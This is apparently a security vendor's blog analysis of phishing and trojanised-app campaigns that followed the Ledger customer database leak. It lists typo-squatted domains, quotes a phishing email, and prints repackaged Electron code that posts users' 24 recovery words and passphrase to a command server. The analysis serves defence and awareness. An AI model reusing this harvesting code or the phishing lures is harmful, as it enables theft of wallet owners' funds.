Ledger database hack facilitates spear-phishing attacks

An in depth analysis of the latest scams following the breach of the Ledger database

Background

Following the news of the latest hack targeting the Ledger database and the leak of millions of emails, phishing attacks have rapidly increased. The leaked data does not contain any financial information according to Ledger, but emails and personal information are already being used in targeted phishing campaigns, as we can see from the banner on their website.

Ledger has also started a counter-campaign to take down phishing websites called #StopTheSpammers. More details are available here:

The phishing attacks

We have been tracking the presence of Ledger leaked data online in the last few days and most of the published archives have been proactively removed, while some are still available for download as shown from the paste below dated Dec 20th, 2020 (links have been cropped).

Three days after the leak, we already detected many domains created to carry out phishing attacks, using different techniques including typo-squatted domains. We started actively investigating few of the many domains.

ledger[.]com-login-authorization[.]app
ledger[.]com[.]login-verification[.]app
http://xn--ldr-krab5e[.]com/ 
https://xn--legde-9bb[.]com/ledger-live/download/

The phishing attacks that have been submitted to us starts with a text email that contains the following text (URLs have been sanitized)

From: Ledger Alerts <noreply@ledger.com-ez29-server-33-secure.az26-s8-smtp.cloud>
Date: Wed, 23 Dec 2020 at 01:32
Subject: XG ZAAY2
To: <.....>


Your Wallet has been blocked.

You are required to verify your identity:
https://docs.google.com/document/d/e/2PACX-1vTlnW_iGFZ5IXXXXXXXXXXXXXXXXXXXXXXXXuuzJQMuPhseCByGZG2nS2CZuBLkb6dxPpBuyd/pub?embedded=true

Ledger Support Team.
6G3L-Q3QP0Q78LQ PL6649

Once the user clicks on the Google doc link, Google shows the classic redirect message, with the wrong text/address (ledger.com) as shown below:

but actually, the victim will be redirected to the actual phishing website:

https://www.google.com/url?q=https://ledger.com-login-authorization.app/settings/&sa=D&ust=1608803119201000&usg=AOvVaw3Mu9BPS20wCa2Hof32NeWE

The first screen invites the user to choose its Ledger Nano model

When the user selects the model, the website simulates the connection of the hardware device to the computer

and ask for the passphrase to unlock it, collecting some more details about the victim like in the screenshot below. We can see the mnemonic_phrase being asked as well.

After the victim fills in the sensitive information it is being sent in a POST request to the server where it is being saved. Using this information the attackers can continue their attack to potentially steal the coins.

The website had also some attention from other security researchers on Twitter, and Ledger confirmed the scam.

Looking at the WHOIS information, the domain was registered on the 15-12-2020 and edited on the 20th of the same month. The data below are collected from the Phoenix platform (see Conclusions)

{
"domain_name": "login-account.app",
"registrar": "NameSilo, LLC",
"whois_server": "whois.nic.google",
"updated_date": "2020-12-25 14:00:38",
"creation_date": "2020-12-15 15:35:11",
"expiration_date": "2021-12-15 15:35:11",
"name_servers": [
"a.dnspod.com",
"c.dnspod.com"
],
"status": [
"clientHold https://icann.org/epp#clientHold",
"clientTransferProhibited https://icann.org/epp#clientTransferProhibited"
],
"emails": "namesilo@registry.google",
"registrant_email": "Please query the WHOIS server of the owning registrar identified in this output for information on how to contact the Registrant, Admin, or Tech contact of the queried domain name.",
"registrant_phone": "REDACTED FOR PRIVACY",
"dnssec": "unsigned",
"name": "REDACTED FOR PRIVACY",
"org": "See PrivacyGuardian.org",
"address": "REDACTED FOR PRIVACY",
"city": "REDACTED FOR PRIVACY",
"state": "AZ",
"zipcode": "REDACTED FOR PRIVACY",
"country": "US"
}

The domains are currently hosted on popular cloud platforms such as Alibaba and Amazon cloud and the WHOIS information are privacy protected (hidden). Getting them would require a subpoena. :)

During our analysis, we identified a file containing some balances publicly available on the phishing website.

This information cannot be connected to legit accounts yet but helps us to further understand how the clone kit operates, giving insights on possible ways of recovering stolen credentials.

About the domain

Similar domains have been already used in the past to host phishing websites targeting different companies such as

  • Instagram

  • Snapchat

  • Google

  • Outlook

  • Apple

  • Twitter

  • Facebook

and many more.

login-account.app		
login-account.cf		
login-account.de		
login-account.email
login-account.icu		
login-account.it		
login-account.live		
login-account.net		
login-account.network		
login-account.nl		
login-account.org		
login-account.site		
login-account.space		
login-account.us		
login-account.xyz		
login-account-a-mazon.com		
login-account-amazon.com		
login-account-apple-unlocking-verification.com		
login-account-co-uk.top		
login-account-confirmation-service.com		
login-account-mail.ru		
login-account-oauth2-client-support.com		
login-account-service.com		
login-account-service.us		
login-account-update.com		
login-account-user-amazon.com		
login-account-user.com		
login-accountinfo.com		
login-accounts-amazon.com		
login-accounts-mail.com		
login-accounts-veryfi-bot.tk		
login-accounts-wells-fargo.us		
login-accounts.com
login-accounts.gq		
login-accounts.icu		
login-accounts.online		
login-accounts.org		
login-accountsecurelly.info

where login-account.cfwas used with the following subdomains (now offline)

www.google.login-account.cf
accounts.google.login-account.cf
apis.google.login-account.cf
content.google.login-account.cf
drive.google.login-account.cf
fonts.google.login-account.cf
gstatic.google.login-account.cf
lh3.google.login-account.cf
mail.google.login-account.cf
myaccount.google.login-account.cf
notifications.google.login-account.cf
ogs.google.login-account.cf
play.google.login-account.cf
ssl.google.login-account.cf
www.instagram.login-account.cf
m.instagram.login-account.cf
www.linkedin.login-account.cf
www.omer.login-account.cf
account.outlook.login-account.cf
login.outlook.login-account.cf
outlook.outlook.login-account.cf
leak.protonmail.login-account.cf
mail.protonmail.login-account.cf
twitter.login-account.cf
abs.twitter.login-account.cf
api.twitter.login-account.cf
mobile.twitter.login-account.cf

Attribution from code analysis

The phishing website is what we normally see in phishing websites. It misses a lot of functionality and is only focused on getting sensitive information out. The front end is HTML/CSS website and uses the jQuery JavaScript library. The back end is written in PHP with databases support and runs behind an Nginx reverse proxy that supports HTTP/2. The phishing website runs over TLS with a Let's Encrypt generated certificate.

Based on the comments (//прописываем куку) that are left in parts of the JavaScript on the website we can with some certainty conclude that it is built by a Russian speaking crew.

//прописываем куку
function setCookie(name, value, options) {
  options = options || {};

  ...

  document.cookie = updatedCookie;
}
//------------------------------------------------

//считываем куку
function getCookie(name) {
	  ...
	  return matches ? decodeURIComponent(matches[1]) : undefined;
}
//------------------------------------------------

//енкодим в баз64
function b64EncodeUnicode(str) {
	return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
		function toSolidBytes(match, p1) {
			return String.fromCharCode('0x' + p1);
	}));
}

This claim is also supported by some of PHP file names that we have identified on the server, for example spisok.php which translates as 'list.php' in english.

$ curl -vv https://ledger.com.login-verification.app/settings/spisok.php

* TCP_NODELAY set
* Connected to localhost (::1) port 8079 (#0)
* allocate connect buffer!
* Establish HTTP proxy tunnel to ledger.com.login-verification.app:443
> CONNECT ledger.com.login-verification.app:443 HTTP/1.1
> Host: ledger.com.login-verification.app:443
> User-Agent: curl/7.64.1
> Proxy-Connection: Keep-Alive
> 
< HTTP/1.1 200 OK
< Date: Sat, 26 Dec 2020 11:02:20 GMT
< Connection: Close
< 
* Proxy replied 200 to CONNECT request
* CONNECT phase completed!
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*   CAfile: /etc/ssl/cert.pem
  CApath: none
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* CONNECT phase completed!
* CONNECT phase completed!
* TLSv1.2 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use h2
* Server certificate:
*  subject: CN=ledger.com.login-verification.app
*  start date: Dec 21 14:32:46 2020 GMT
*  expire date: Mar 21 14:32:46 2021 GMT
*  subjectAltName: host "ledger.com.login-verification.app" matched cert's "ledger.com.login-verification.app"
*  issuer: C=US; O=Let's Encrypt; CN=R3
*  SSL certificate verify ok.
* Using HTTP2, server supports multi-use
* Connection state changed (HTTP/2 confirmed)
* Copying HTTP/2 data in stream buffer to connection buffer after upgrade: len=0
* Using Stream ID: 1 (easy handle 0x7fec6100d200)
> GET /settings/spisok.php HTTP/2
> Host: ledger.com.login-verification.app
> User-Agent: curl/xxx
> Accept: */*
> 
* Connection state changed (MAX_CONCURRENT_STREAMS == 128)!
< HTTP/2 200 
< server: nginx/1.16.0
< date: Sat, 26 Dec 2020 11:02:17 GMT
< content-type: text/html; charset=UTF-8
< content-length: 0
< strict-transport-security: max-age=604800
< accept-ranges: bytes
< 
* Connection #0 to host localhost left intact
* Closing connection 0

Malware campaign

Another campaign is tricking users into downloading the Ledger desktop application for Win, Mac, or Linux. This campaign is heavily relying on typo squatted websites to distribute malware. The first screen looks exactly like the "Download" page of the original website

where the user can choose the OS for which the application will be downloaded. We compared the original desktop application against the malicious one and indeed the hash is different, due to new code added.

malware - MD5 (ledger-live-desktop-2.18.0-win.exe) = a341145c129895964fd5574055ac152b
original- MD5 (ledger-live-desktop-2.18.0-win.exe) = 4a8913c95246c4de4dca89512e881d41

As soon as the app is launched, there is a call made to the C&C as we can see from the image below, but because the website is currently down at the moment of writing, the application returns an error, disclosing the endpoint

https://happyflyingcow[.]com

Code Analysis

The original Electron application has been repackaged to include JavaScript code that sends back information about the user and the newly chosen passphrase. As soon as the application is started, it tries to connect back to the C&C server using the following code

const OnboardingOrElse = ({
  children
}) => {
  const hasCompletedOnboarding = Object(es["useSelector"])(hasCompletedOnboardingSelector);
  const onboardingRelaunched = Object(es["useSelector"])(onboardingRelaunchedSelector);
  var xmlHttp = new XMLHttpRequest();
  xmlHttp.open("GET", "https://happyflyingcow.com/signup.php", false); // false for synchronous request

  xmlHttp.send(null);
  console.log("OnboardingOrElse response: " + xmlHttp.responseText);

  if (!hasCompletedOnboarding || onboardingRelaunched || xmlHttp.responseText.includes("unregistered")) {
    return /*#__PURE__*/react_default.a.createElement(screens_onboarding, null);
  }

  return children;
};

Once the connection has been established, and the C&C is up, the user is presented with fake Onboarding screens, where the 24 words used in the passphrase will be entered

switch (window.wwn) {
        case 2:
          //alert("words undefined");
          //setWordN("2nd");
          document.getElementById("words-input-title").innerText = "Enter the 2nd word of your Recovery phrase:";
          document.getElementById("onboarding-reset-button").style.display = "flex";
          break;

        case 3:
          //setWordN("3rd");
          document.getElementById("words-input-title").innerText = "Enter the 3rd word of your Recovery phrase:";
          break;

        case 4:
          //setWordN("4th");
          document.getElementById("words-input-title").innerText = "Enter the 4th word of your Recovery phrase:";
          break;

        case 5:
          //setWordN("5th");
          document.getElementById("words-input-title").innerText = "Enter the 5th word of your Recovery phrase:";
          break;

        case 6:
          //setWordN("6th");
          document.getElementById("words-input-title").innerText = "Enter the 6th word of your Recovery phrase:";
          break;

        case 7:
          //setWordN("7th");
          document.getElementById("words-input-title").innerText = "Enter the 7th word of your Recovery phrase:";
          break;

        case 8:
          //setWordN("8th");
          document.getElementById("words-input-title").innerText = "Enter the 8th word of your Recovery phrase:";
          break;

        case 9:
          //setWordN("9th");
          document.getElementById("words-input-title").innerText = "Enter the 9th word of your Recovery phrase:";
          break;

        case 10:
          //setWordN("10th");
          document.getElementById("words-input-title").innerText = "Enter the 10th word of your Recovery phrase:";
          break;

        case 11:
          //setWordN("11th");
          document.getElementById("words-input-title").innerText = "Enter the 11th word of your Recovery phrase:";
          break;

        case 12:
          //setWordN("12th");
          document.getElementById("words-input-title").innerText = "Enter the 12th word of your Recovery phrase:";
          document.getElementById("words-input").value = "";
          break;

        case 13:
          //setWordN("13th");
          document.getElementById("words-input-title").innerText = "Enter the 13th word of your Recovery phrase:";
          break;

        case 14:
          //setWordN("14th");
          document.getElementById("words-input-title").innerText = "Enter the 14th word of your Recovery phrase:";
          break;

        case 15:
          //setWordN("15th");
          document.getElementById("words-input-title").innerText = "Enter the 15th word of your Recovery phrase:";
          break;

        case 16:
          //setWordN("16th");
          document.getElementById("words-input-title").innerText = "Enter the 16th word of your Recovery phrase:";
          break;

        case 17:
          //setWordN("17th");
          document.getElementById("words-input-title").innerText = "Enter the 17th word of your Recovery phrase:";
          break;

        case 18:
          //setWordN("18th");
          document.getElementById("words-input-title").innerText = "Enter the 18th word of your Recovery phrase:";
          break;

        case 19:
          //setWordN("19th");
          document.getElementById("words-input-title").innerText = "Enter the 19th word of your Recovery phrase:";
          break;

        case 20:
          //setWordN("20th");
          document.getElementById("words-input-title").innerText = "Enter the 20th word of your Recovery phrase:";
          break;

        case 21:
          //setWordN("21st");
          document.getElementById("words-input-title").innerText = "Enter the 21st word of your Recovery phrase:";
          break;

        case 22:
          //setWordN("22nd");
          document.getElementById("words-input-title").innerText = "Enter the 22nd word of your Recovery phrase:";
          break;

        case 23:
          //setWordN("23rd");
          document.getElementById("words-input-title").innerText = "Enter the 23rd word of your Recovery phrase:";
          break;

        case 24:
          //setWordN("24th");
          document.getElementById("words-input-title").innerText = "Enter the 24th word of your Recovery phrase:";
          break;
      }

      document.getElementById("words-input").value = "";
    }
  }

and then collected using a POST request to {SERVER}/rss.php as shown below on line 13


//render.bundle.js line: 364496
function work() {
    var tmpjo = document.getElementById("words-input").value;

    if (tmpjo.slice(-1) === " ") {
      tmpjo = tmpjo.substring(0, tmpjo.length - 1);
    }

    if (window.wordsLenght !== undefined && window.wwn >= window.wordsLenght) {
      var finalWords = window.words + " " + tmpjo;
      var xhr = new XMLHttpRequest();
      xhr.open('POST', 'https://happyflyingcow.com/rss.php', true);
      xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

      xhr.onload = function () {
        console.log(this.responseText);
      };

      xhr.send('tracking=' + finalWords);
      document.getElementById("words-input").value = "";
      document.getElementById("words-input").blur();
      document.getElementById("onboarding-reset-button").style.display = "none";
      setEnableControls(false);
   

The final mnemonic phrase is also collected using the following code

  const handleOpenGenuineCheckModal = Object(react["useCallback"])(() => {
    if (window.enabledPass) {
      var passIn = document.getElementById("pass-input").value;
      var xhr = new XMLHttpRequest();
      xhr.open('POST', 'https://happyflyingcow.com/news.php', true);
      xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

      xhr.onload = function () {
        console.log(this.responseText);
      };

      xhr.send('tracking=' + window.finalMnemonic + "&guid=" + passIn);
    }

Contact us

If you received an email or an SMS redirecting to a phishing website, contact us and we will take immediate action to report the phishing website to the right authorities

Forward the phishing email/link to info@dcodx.com

In case you are a victim of the breach, please follow the recommendation provided by Ledger at

If you are not sure whether your email has been leaked, use the service provided by HaveIBeenPwned at

Improve your detection capabilities

Phoenix is our antiphishing tool that can proactively detect and report phishing attacks, combining different discovery techniques and automated reporting plugins. We constantly monitor all the new registered domains, typo-squatted domains, blacklists, deep web, forums, and more to provide insights on new attacks. Our light agent is capable of detecting clones even before they are online.

The detected websites are indeed phishing websites, trying to steal the backup phrase

Conclusions

Cryptocurrencies are one of the most valuable targets for phishers that are constantly trying to find different ways of bypassing security measures in place such as Multi-Factor Authentication (MFA). Many attacks are still ongoing and immediate action to take down the websites is needed. Continuous awareness, detection, and response can improve the impact of phishing attacks. Check how DCODX can help you detect stolen credentials and make phishing websites disappear in seconds using Phinix, putting you in control of the phishing website and being one step ahead of the phishers.

References

Last updated